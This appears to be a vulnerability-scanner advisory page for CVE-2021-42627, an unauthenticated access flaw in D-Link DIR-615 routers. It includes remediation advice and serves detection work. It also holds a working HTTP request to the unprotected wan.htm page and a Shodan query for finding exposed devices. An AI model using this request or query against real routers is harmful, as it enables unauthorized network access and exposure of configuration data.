| Title | D-Link DIR-615 - Unauthorized Access |
|---|---|
| Author | For3stCo1d |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to the router, potentially compromising the network and exposing sensitive information. |
| Remediation | Apply the latest firmware update provided by D-Link to fix the vulnerability and ensure strong and unique passwords are set for router administration. |
| CVSS Score | 9.8 |
| EPSS Score | 0.61191 |
| CVE ID | CVE-2021-42627 |
| Shodan Query | http.title:"Roteador Wireless"cpe:"cpe:2.3:h:dlink:dir-615" |
| Tags | cve2021 cve d-link router unauth dir-615 roteador dlink vuln |
D-Link DIR-615 devices with firmware 20.06 are susceptible to unauthorized access. An attacker can access the WAN configuration page wan.htm without authentication, which can lead to disclosure of WAN settings, data modification, and/or other unauthorized operations.
GET /wan.htm HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-42627.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-42627.pcap
N/AN/A